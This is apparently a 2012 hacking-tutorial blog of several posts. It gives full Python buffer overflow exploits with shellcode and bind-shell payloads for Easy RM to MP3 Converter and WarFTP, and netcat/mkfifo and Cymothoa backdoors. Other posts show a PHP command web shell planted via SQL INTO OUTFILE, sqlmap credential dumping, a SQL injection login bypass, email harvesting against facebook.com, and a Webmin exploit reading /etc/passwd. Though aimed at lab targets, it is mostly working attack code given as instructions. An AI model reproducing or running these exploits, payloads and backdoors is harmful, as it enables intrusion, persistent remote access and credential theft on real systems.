Pages

Monday, 24 September 2012

Buffer Overflow Easy RM to MP3 Converter

Posted by at 20:46
In this post we will learn how to exploit Windows Application Easy RM to MP3 Converter.
We need to prepare the labs :

  • Windows XP Service Pack 3
  • Olly Debugger
  • Easy RM to MP3 Converter  3.2.700
  • Python
First, we need trial and error to make application crash. You can try using file with extension *.rm,*.ram, *.m3u, *.wvx for short this lesson I will make it to the point. And I choose m3u extention.
I make simple script using python
#!/usr/bin/python

namafile = "pertama.m3u"

kar = "#EXTM3U\n" #header of m3u
kar += "\x41" * 26100

file = open(namafile,'w')
file.write(kar)
file.close()

Run this script and make sure that the EIP is overwrite into 41414141 or A in ASCII.



Step two, I will using tools from metasploit named pattern_create to make easy for detecting position byte for EIP.
Now open tools from metasploit
cd /pentest/exploits/framework/tools/pattern_create.rb 26100
Copy the result and insert into python script below:
#!/usr/bin/python

namafile = "pertama.m3u"

kar = "#EXTM3U\n" #header of m3u
kar += ""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8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Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl"

file = open(namafile,'w')
file.write(kar)
file.close()




Look at EIP register, check offset into tools pattern_offset.rb .
/pentest/exploits/framework/tools/pattern_offset.rb 48346B48  26100
5772
26052

Now, edit the python script look like this :
#!/usr/bin/python
#root@bt:/var/www/files/nop# /pentest/exploits/framework/tools/pattern_offset.rb 48346B48 26100
#5772
#26052
files = "keempat.m3u"
kar = "#EXTM3U\n"
kar += "\x41" * 26052
kar += "\xEF\xBE\xAD\xDE"
sploit = kar

panjang = len(sploit)

print("Panjang Karakter = ")
print(panjang)

file = open(files,'w')
file.write(sploit)
file.close()




Run the application with ollydebugger and run the code above...
see the EIP in the Olly Debugger.
And edit the code python look like this :
#!/usr/bin/python
#root@bt:/var/www/files/nop# /pentest/exploits/framework/tools/pattern_offset.rb 48346B48 26100
#5772
#26052
files = "kelima.m3u"
kar = "#EXTM3U\n"
kar += "\x41" * 26052
#kar += "\xEF\xBE\xAD\xDE"
kar += "\xD7\x30\x9D\x7C"
kar += "\x90" * 1000
kar += ("\xda\xc9\x29\xc9\xbf\x10\x2b\x0e\xfe\xb1\x51\xd9\x74\x24\xf4\x58"
"\x83\xe8\xfc\x31\x78\x13\x03\x68\x38\xec\x0b\x74\x54\x1b\xbe\x6c"
"\x50\x24\xbe\x93\xc3\x50\x2d\x4f\x20\xec\xeb\xb3\xa3\x8e\xf6\xb3"
"\xb2\x81\x72\x0c\xad\xd6\xda\xb2\xcc\x03\xad\x39\xfa\x58\x2f\xd3"
"\x32\x9f\xa9\x87\xb1\xdf\xbe\xd0\x78\x15\x33\xdf\xb8\x41\xb8\xe4"
"\x68\xb2\x69\x6f\x74\x31\x36\xab\x77\xad\xaf\x38\x7b\x7a\xbb\x61"
"\x98\x7d\x50\x9e\x8c\xf6\x2f\xcc\xe8\x14\x51\xcf\xc0\xff\xf5\x44"
"\x61\x30\x7d\x1a\x6a\xbb\xf1\x86\xdf\x30\xb1\xbe\x41\x2f\xbc\xf0"
"\x73\x43\x90\xf3\x5a\xfd\x42\x6d\x0b\x31\x57\x19\xbc\x46\xa5\x86"
"\x16\x56\x19\x50\x5c\x45\x66\x9b\x32\x69\x41\x84\x3b\x70\x08\xbb"
"\xd1\x73\xd7\xee\x43\x86\x28\xc0\xfc\x5f\xdf\x15\x51\x08\x1f\x03"
"\xf9\xe4\x8c\xf8\xad\x49\x60\xbd\x02\xb1\x56\x27\xcd\x5c\x0b\xc1"
"\x5e\xd6\x52\x98\x09\x4c\x8e\xd2\x0e\xdb\x50\xc4\xfb\xf4\xff\xbd"
"\x04\x24\x97\x99\x56\xeb\x81\xb6\x57\x22\x02\x6d\x57\x1b\xcd\x68"
"\xee\x1a\x47\x25\x0e\xf4\x08\x9d\xa4\xac\x57\xcd\xd6\x27\x4f\x94"
"\x1e\xce\xd8\x99\x49\x64\x18\xb5\x10\xed\x82\x53\xb5\x92\x27\x12"
"\xa0\x3f\xe8\x7d\x02\x0c\x81\x9a\x3e\xc8\x1b\x86\x8e\x10\xe8\xec"
"\x0f\xd2\x22\x0e\xad\xff\xaf\x63\x48\x38\x7b\xd0\x06\x50\x09\xd8"
"\xea\xb7\x12\x51\x49\x47\x3a\xc2\x06\xe5\x92\xa5\xf9\x63\x14\x14"
"\xab\x26\x47\x69\x9b\xa1\xca\x4c\x19\xfc\x46\x91\xf4\x6a\x96\x92"
"\xce\x95\xb8\xe7\x66\x96\xba\x33\xec\x99\x6b\xe9\x12\xb5\xfc\x73"
"\x35\xd4\x8e\xd8\x3a\xcf\x8e\x0e")


sploit = kar

panjang = len(sploit)

print("Panjang Karakter = ")
print(panjang)

file = open(files,'w')
file.write(sploit)
file.close()


After run the code above, check the exploit using netcat and listen at port 4444

nc 192.168.43.128 4444



Tuesday, 18 September 2012

Buffer Overflow WarFTP 1.65

Posted by at 00:47
At this time I will post about Buffer Overflow, and the target is WarFTP 1.65.
The tools needed is :

  • Olly Debugger 1.10
  • WarFTP 1.65
  • Windows XP Service Pack 2 or 3
  • BackTrack
First, we need to install ollydbg and warftp in windows. After it, we must creating fuzzer for WarFTP. The fuzzer code is look like this :

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "\x41" * 1000
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+buffer+'\r\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")

Save as into fuzzer.py
Please change the configuration of IP address and Port, default port for WarFTP port is 21. But I'm using 2222 because my 21 port are busy.
Now run this fuzzer from BackTrack, but we need to give access on it by run this command:
chmod +x fuzzer.py

./fuzzer.py
Back into Windows, and look what happen with WarFTP? Crash? If yes, the fuzzer is work.
Now I will check it from Ollydbg, Close your WarFTP and reopen, then open Ollydb->File->attach->select WarFTP and click play. See in the right panel, what happen with EIP? overwriten right? If yes, it means that the application is exploitable using buffer overflow method.

We need to know where is the byte of register are overwriten. The simple way is using Metasploit with pattern_create. Now open your metasploit:
cd /pentest/exploits/framework/tools
create pattern with amount 1000 and save into pattern.txt
./pattern_create.rb 1000 > pattern.txt
Open your pattern.txt and copy the code into fuzzer, and edit the fuzzer look like this

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag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\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
Back into Windows, restart your WarFTP and reopen using Ollydbg then run the fuzzer from backtrack. After it, back into windows and see at ollydbg. The ESP has been overwritten by the fuzzer and the value is "q4Aq5Aq......"

Now time for finding the byte that has been overwritten th string using pattern_offset, tools from Metasploit.
cd /pentest/exploits/framework/tools
Give the EIP from Ollydbg, 32714131
./pattern_offset.rb 32714131
It will return 485
Give the string of EIP from Ollydbg
./pattern_offset.rb q4Aq5Aq
It will return 493
Next I will overwrite the EIP into DEADBEEF. And the little endian of DEADBEEF is \xEF\xBE\xAD\xDE.
why need DEADBEEF, because the alpa string of ascii is A into F.
Edit your fuzzer
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
nilaiEIP = "\x41" * 485
nilaiEIP += "\xEF\xBE\xAD\xDE"
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+nilaiEIP+'\r\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
Reopen your warFTP and debug with Ollydbg. And run the fuzzer.
Look into Olly and see EIP has been overwritten with DEADBEEF
Now, I will write data into stack with CC. Edit your fuzzer
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "\x90" * 485
buffer += "\xEF\xBE\xAD\xDE"
buffer += "\x90" * (493-len(buffer))
buffer += "\xCC" * (1000-len(buffer))
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+buffer+'\r\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
Next we need to know about the library are used by the warFTP and where is the register for JMP ESP.
Why we need to do this? because we will to write the backdoor/payload here.
Reopen your warFTP and debug with Ollydbg, open View->Executable Modules and double click shell32.dll. Next search the JMP ESP, Right Click in the shell32.dll CPU, select Search For->Command and fill with "jmp esp" without quote and click search. Please remember the Register, in my case the register is 7CB3DDEE. May be can different in your machine.

Now open your console, and run this command
cd /pentest/exploits/framework2/
./msfweb
open your browser and locate the url http://127.0.0.1:55555
select payloads, select OS:win32 as filter and search for Bind Shell
Set the config look like the images above, and then click Generate Payload.
Copy the payload code and edit the fuzzer.

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "\x90" * 485
#buffer += "\xED\x1E\x94\x7C"
buffer += "\xEE\xDD\xB3\x7C"
buffer += "\x90" * 32
buffer += ("\x29\xc9\xb1\x51\xd9\xeb\xd9\x74\x24\xf4\x5a\xbb\x66\xa8\xc8\x21"
"\x31\x5a\x13\x83\xea\xfc\x03\x3c\xa7\x2a\xd4\x3c\xdd\x41\x5a\x54"
"\xdb\x69\x9a\x5b\x7c\x1d\x09\x87\x59\xaa\x97\xfb\x2a\xd0\x12\x7b"
"\x2c\xc6\x96\x34\x36\x93\xf6\xea\x47\x48\x41\x61\x73\x05\x53\x9b"
"\x4d\xd9\xcd\xcf\x2a\x19\x99\x08\xf2\x50\x6f\x17\x36\x8f\x84\x2c"
"\xe2\x74\x4d\x27\xef\xfe\xd2\xe3\xee\xeb\x8b\x60\xfc\xa0\xd8\x29"
"\xe1\x37\x34\xd6\x35\xb3\x43\xb4\x61\xdf\x32\x87\x5b\x04\xd0\x8c"
"\xdf\x8a\x92\xd2\xd3\x61\xd4\xce\x46\xfe\x55\xe6\xc6\x69\xd8\xb8"
"\xf8\x85\xb4\xbb\xd3\x30\x66\x25\xb4\x8f\xba\xc1\x33\x83\x88\x4e"
"\xe8\x9c\x3d\x18\xdb\x8e\x42\xe3\x8b\xaf\x6d\x4c\xa5\xb5\xf4\xf3"
"\x58\x3d\xfb\xa6\xc8\x3c\x04\x98\x65\x98\xf3\xed\xdb\x4d\xfb\xdb"
"\x77\x21\x50\xb0\x24\x86\x05\x75\x98\xf7\x7a\x1f\x76\x19\x27\xb9"
"\xd5\x90\x36\xd0\xb2\x06\xa2\xaa\x85\x10\x2c\x9c\x60\x8f\x83\x75"
"\x8a\x7f\x4b\xd1\xd9\xae\x65\x4e\xdd\x79\x26\x25\xde\x56\xa1\x20"
"\x69\xd1\x7b\xfd\x95\x0b\x2b\x55\x3e\xe1\x33\x85\x2d\x61\x2b\x5c"
"\x94\x0b\xe4\x61\xce\xb9\xf5\x4d\x89\x2b\x6e\x0b\x3e\xcf\x03\x5a"
"\x5b\x65\x8c\x05\x8d\xb6\xa5\x52\xa7\x02\x3f\x7e\x09\x4b\xcc\xd4"
"\x94\x09\x1e\xd6\x2b\xa2\xf3\xab\xd6\x82\x58\x18\x8d\x9b\xec\xa0"
"\x61\x4d\xee\x29\xc2\x8d\xc6\x8a\x9d\x23\xb6\x7d\x73\xae\x39\x2c"
"\x22\x7b\x6b\x31\x14\xeb\x26\x14\x90\x22\x6b\x59\x4d\xd0\x73\x5a"
"\x45\xda\x5c\x2f\xfd\xd8\xde\xeb\x66\xde\x37\xa1\x99\xf0\xd0\x3b"
"\xbe\x13\x53\x90\xc1\x02\x6b\xc6")
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+buffer+'\r\n')
data = s.recv(1024)
s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
Reopen your WarFTP without load in Ollydbg, and run the fuzzer.
Finally connect into target using telnet or netcut with 4444 port.
telnet 192.168.43.129 4444
If success, you will bring into windows CMD prompt

Saturday, 15 September 2012

Backdooring with Mkfifo

Posted by at 16:36
When the nc cannot giving option -e for execute some program, we have 2 way to solve it.

  1. Install netcat traditional
  2. Using mkfifo
In this post, I will share how to make backdoor using mkfifo.
Simply by run this command on the target machine:
target@ubuntu# mkfifo file

Inject netcat into file
target@ubuntu# nc -lk -p 1338 < file | /bin/bash > file

Now, connect to the target using nc and listen at port 1338
root@bt# nc -v 192.168.56.101 1338

check the bash command:
uname -a
If return : Linux bla..bla.......
It's mean that you get the bash command

Backdooring with Cymothoa

Posted by at 16:29
After logging into target machine, we need to create backdoor for accessing later. Now, I will share about backdooring with Cymothoa. Cymothoa can inject backdoor into process, so the backdoor running with another process.

For example, when some process running on system like apache or mysql. We can inject into this process.

process running
---------------------------------------------------------------------
PID                             App
---------------------------------------------------------------------
1028                          /usr/bin/apache2
1033                          /usr/bin/mysqld


                   (inject into apache)
Cymothoa ----------------------------> PID 1028
Now we can get access of backdoor via apache process.


OK, lets play the game....
We must upload cymothoa into target machine, I will compress it.

root@bt# tar -zcvf cymotho.tar.gz /pentest/backdoors/cymothoa


Using netcat to make target machine listen at port 1337
target@ubuntu# nc -l -p 1337 > cymothoa.tar.gz


Send cymothoa into target machine with netcat
root@bt# nc -w 1 192.168.56.101 1337 < cymothoa.tar.gz
* note 192.168.56.101 is IP address of target machine

Back into target machine and check the cymothoa.tar.gz, when upload successfully we can uncompress it.
target@ubuntu# tar -zxvf cymothoa.tar.gz

Now time for injecting the process.
target@ubuntu# cd cymothoa; make install;

Usage:

        cymothoa -p <pid> -s <shellcode_number> [options]
Main options:
        -p      process pid
        -s      shellcode number
        -l      memory region name for shellcode injection (default /lib/ld)
                see /proc/pid/maps...
        -h      print this help screen
        -S      list available shellcodes
Payload personalization options:
        -x      set the IP
        -y      set the port number
        -r      set the port number 2
        -z      set the username (3 bytes)
        -o      set the password (8 bytes)
        -i      set the interpreter (def /bin/bash)
        -c      set the script code (from cmd line)
        -F      do not fork parent process

I will inject into apache process, so I need to run this command:
target@ubuntu# ./cymothoa -p 1028 -s 0 -y 4444


Ok,lets check the backdoor with netcat
root@bt# nc -v 192.168.56.101 4444

Well done, we got access into backdoor...
Finally, you can delete the cymothoa file in target machine.

Email Harvesting using TheHarvester

Posted by at 12:54
In this post, I will share about "how to collecting email from some domain". Here I am using TheHarvester, tools on BackTrack.
cd /pentest/enumeration/theharvester
to get information for usage, you can type this at your terminal
./theHarvester.py

For example, I will collecting email from facebook.com
./theHarvester.py -d facebook.com -b all

The result:

@facebook.com
X.X@facebook.com
xxxxx@facebook.com
xxxxxxxxxxx@facebook.com
xxxx@facebook.com
xxxxxxxxxxxx@facebook.com
xxxxxx@groups.facebook.com
xxxxxxxxxxxxx@facebook.com
xxxxxxx@chat.facebook.com
xxxxxxx@facebook.com
xxxx@facebook.com
x@facebook.com
sssssssssssss@facebook.com

Generate Backdoor via SQL Injection

Posted by at 07:25
After the previous post about Extracting data from Database Server and get the mysql user,password we will learn how to generate backdoor using SQL Injection.

user and password that we get from the previous post is username : root and password : root.
So we can use it for login into system using this command:
mysql -u root -p

You will sign in into mysql command line.
Time for generate backdoor....
Create database pwn
create database pwn;
Use database pwn;
user pwn;
Create table backdoor
create table backdoor(script text);
Insert Backdoor script / PHP Script
insert into backdoor(script) values("<?php echo exec($_GET['cmd'];?>");
Create backdoor into file, but you should know where the web server directory.
We can knowing it from the error when we do an attack before
In the column file, we know that the path of web server is /var/www/
So we can save the backdoor here /var/www/
ok lets do that
select * into outfile "/var/www/backdoor.php" from backdoor;

If not success, make sure the path permission is writeable.
Now, access your backdoor here
http://localhost/backdoor.php?cmd=uname -a


Extract Data from Database Server via SQL Injection with SQL Map

Posted by at 07:02
Mutillidae have a bug for SQL Injection, so I will use  this bug for extracting data from database.
Now open your burp suite and open Mutillidae from your browser.
http://localhost/mutillidae/index.php?page=login.php
Enter a random Name and Password. Burp Suite will capture all data in Mutillidae look like this,
The data you needed is data in the red line. Copy this data, and open your SQL Map.
enter this command :
./sqlmap.py -u "http://localhost/mutillidae/index.php?page=login.php" --data "username=jack&password=parodi&login-php-submit-button=Login" --dbs

The blue string is a data from burp suite. Press enter and you will see the database.
I want to see the tables on database mysql, so run this command:
./sqlmap.py -u "http://localhost/mutillidae/index.php?page=login.php" --data "username=jack&password=parodi&login-php-submit-button=Login" -D "mysql" --tables
The blue string is a database what you want to open.

Now I will see the user column from database mysql. Simply run this command:
./sqlmap.py -u "http://localhost/mutillidae/index.php?page=login.php" --data "username=jack&password=parodi&login-php-submit-button=Login" -D "mysql" -T "user" --columns


The blue string is a column name.

Now I will see the value of user column and value of user password from database mysql. Simply run this command:
./sqlmap.py -u "http://localhost/mutillidae/index.php?page=login.php" --data "username=jack&password=parodi&login-php-submit-button=Login" -D "mysql" -T "user" -C "user" --dump

./sqlmap.py -u "http://localhost/mutillidae/index.php?page=login.php" --data "username=jack&password=parodi&login-php-submit-button=Login" -D "mysql" -T "user" -C "password" --dump
After running the command above, SQL Map automated to crack the hash password of mysql. When the prompt to crack hash mysql appear, please answer Y and press enter.


Ok, we Got the Data (username,password) MySQL

SQL Injection Authentication ByPass on Mutillidae

Posted by at 05:31
In this post, I will write about SQL Injection bypass on Mutillidae.

  1. Open http://localhost/mutillidae/?page=login.php
  2. Insert single quote in the form username and form password
    You can see that some errors appears
    From the error, we know that the query of SQL is :
    SELECT * FROM accounts WHERE username=''' AND password='''
    To begin the attackt, we need to modify this query. I will using this query for input username and password :
    x' OR '1'='1
    Now, enter the query above into username and password form.
  3. Wow, I'm loggin as admin

How to compressing ZIP using password

Posted by at 05:16
Zip is a program for compressing with feature protect compressed file using password.
To giving password on your compressed file you can simply using this command :

syntak : zip -e result_for_zip_file.zip source_of_file
root@bt# zip -e result.zip file.doc

Friday, 14 September 2012

Gaining Access PwnOS

Posted by at 17:29
previously we have discussed about Privillege Escalation
Now we will learn how to Gaining access on pwnOS.

  1. Check the kernel version of pwnOS
    vmware@ubuntuvm$ uname -a
  2. Search the exploit for Linux Kernel 2.6.22 on exploit db
    cd /pentest/exploits/exploitdb/
    ./searchsploit kernel linux
    Linux Kernel <=2.6.21.1 IPv6 Jumbo Bug Remote DoS Exploit                   /linux/dos/4893.c
    Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC       /windows/dos/4911.c
    Safenet IPSecDrv.sys <= 10.4.0.12 Local kernel ring0 SYSTEM Exploit         /windows/local/5004.c
    Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit                  /linux/local/5092.c
    Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit                  /linux/local/5092.c
    Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit                  /linux/local/5092.c
    Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit                    /linux/local/5093.c
    Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit                    /linux/local/5093.c
    Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit                    /linux/local/5093.c
    DESlock+ <= 3.2.6 (list) Local Kernel Memory Leak PoC                       /windows/local/5141.c
  3. Send the exploit into pwnOS using netcat
    root@bt# nc 192.168.56.101 1011 < /pentest/exploits/exploitdb/platform/linux/local/5092.c
  4. Run netcat on pwnOS to get the exploit
    vmware@ubuntuvm$ nc -l -p 1011 > 5092.c
  5. Compile the exploit using GCC
    vmware@ubuntuvm$ gcc 5092.c -o exploit
  6. run the exploit! run this command to check the access level
    vmware@ubuntuvm$ ./epxloit
    whoami

Information Gathering Advanced

Posted by at 09:00
In this post I will share about Information Gathering Advanced. The tools are Maltego, Shodanhq, and Google Hacking.


  1. Maltego is tools for Information Gathering with the most wanted feature.
    To open Maltego, please goto Start Menu->Backtrack->Information Gathering->Web Application Annalisis->Open Source Analysis->Maltego

    If you want to check some thing about email, domain, ip, or name server you can do it easily. Drag and drop icon in the left panel into main area. Click and view on the right panel for propertis, you can change the value as needed.

    Finally, Right click on the icon and select Run Transform->All Transform
  2. Scanning using Google Hacking, you can read the manual here
  3. Scanning using ShodanHQ, the search engine for computer, router and exploit. Please visit here
Homework

Privilege Escalation PwnOS

Posted by at 07:46
Before doing an attack, we need to run some job (hacking framework).

  1.  Information Gathering 
    In this section I will collecting some information from target using Nmap.
    root@bt:~# nmap -sS -A -p10-10000 192.168.56.101
    
    Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-09-14 10:46 WIT
    Nmap scan report for 192.168.56.101
    Host is up (0.00083s latency).
    Not shown: 9986 closed ports
    PORT      STATE SERVICE     VERSION
    22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
    | ssh-hostkey: 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
    |_2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
    80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
    |_http-title: Site doesn't have a title (text/html).
    |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
    139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
    445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
    10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
    |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
    |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
    MAC Address: 08:00:27:42:D9:A7 (Cadmus Computer Systems)
    Device type: general purpose
    Running: Linux 2.6.X
    OS CPE: cpe:/o:linux:kernel:2.6.22
    OS details: Linux 2.6.22 (embedded, ARM)
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
    
    Host script results:
    |_nbstat: NetBIOS name: UBUNTUVM, NetBIOS user: , NetBIOS MAC: 
    | smb-security-mode: 
    |   Account that was used for smb scripts: guest
    |   User-level authentication
    |   SMB Security: Challenge/response passwords supported
    |_  Message signing disabled (dangerous, but default)
    |_smbv2-enabled: Server doesn't support SMBv2 protocol
    | smb-os-discovery: 
    |   OS: Unix (Samba 3.0.26a)
    |   Computer name: ubuntuvm
    |   Domain name: nsdlab
    |   FQDN: ubuntuvm.NSDLAB
    |   NetBIOS computer name: 
    |_  System time: 2012-09-14 10:46:59 UTC-5
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.83 ms 192.168.56.101
    
    OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 25.11 seconds
    
  2.  Service Enumeration 
    From the first section, We will procced to the Service Enumeration
    PORT      STATE SERVICE     VERSION
    22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
    | ssh-hostkey: 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
    |_2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
    80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
    |_http-title: Site doesn't have a title (text/html).
    |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
    139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
    445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
    10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
    
    
  3.  Vulnerability Assesment 
    I will using Nessus for this procces. Open your Nessus and scan your target.

    from Nessus scan results, seen a lot of vulnerability in there. You can choose one by one as needed.
    We can look from the result that webmin has a bug Arbitary File Disclosure. So I will getting information for username and password.
  4.  Exploitation 
    From the result of nessus, I will use 2 bugs here, OpenSSL and Webmin.
    Go to your exploitdb and search exploit for openssl and webmin.
    First, I want to try webmin bugs and download /etc/passwd and /etc/shadow

    root@bt:~# cd /pentest/exploits/exploitdb/
    root@bt:/pentest/exploits/exploitdb# ./searchsploit webmin                                                                                 
     Description                                                                 Path                                                          
    ------------------------------
    Webmin BruteForce and Command Execution Exploit                             /multiple/remote/705.pl
    Webmin Web Brute Force v1.5 (cgi-version)                                   /multiple/remote/745.cgi
    Webmin BruteForce + Command Execution v1.5                                  /multiple/remote/746.pl
    Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit          /multiple/remote/1997.php
    Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl)   /multiple/remote/2017.pl
    phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability              /php/webapps/2451.txt
    phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability              /php/webapps/2451.txt
    phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
    phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
    phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
    Webmin 0.91 Directory Traversal Vulnerability                               /cgi/remote/21183.txt
    root@bt:/pentest/exploits/exploitdb# perl platforms/multiple/remote/2017.pl 192.168.56.101 10000 /etc/passwd 0
    WEBMIN EXPLOIT !!!!! coded by UmZ!
    Comments and Suggestions are welcome at umz32.dll [at] gmail.com
    Vulnerability disclose at securitydot.net
    I am just coding it in perl 'cuz I hate PHP!
    Attacking 192.168.56.101 on port 10000!
    FILENAME:  /etc/passwd
    
     FILE CONTENT STARTED
     -----------------------------------
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    dhcp:x:100:101::/nonexistent:/bin/false
    syslog:x:101:102::/home/syslog:/bin/false
    klog:x:102:103::/home/klog:/bin/false
    mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
    vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
    obama:x:1001:1001::/home/obama:/bin/bash
    osama:x:1002:1002::/home/osama:/bin/bash
    yomama:x:1003:1003::/home/yomama:/bin/bash
    biasa:x:1004:1004:,,,:/home/biasa:/bin/bash
    -------------------------------------
    
    Now, we know information about username.
    Next I will getting access with available username. We still leaves one bug from nessus scanning. Opens SSL, ok let search the exploit from exploit db.

    root@bt# cd /pentest/exploits/exploitdb/
    root@bt# ./searchsploit openssl
    
     Description                                                                 Path
    --------------------------------------------------------------------------- -------------------------
    Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)             /multiple/dos/146.c
    Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)             /linux/remote/764.c
    OpenSSL < 0.9.7l / 0.9.8d SSLv2 Client Crash Exploit                        /multiple/dos/4773.pl
    Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit                      /multiple/remote/5622.txt
    Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (ruby)               /multiple/remote/5632.rb
    Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (Python)             /linux/remote/5720.py
    OpenSSL <= 0.9.8k                                                           /multiple/dos/8720.c
    OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit                   /multiple/dos/8873.c
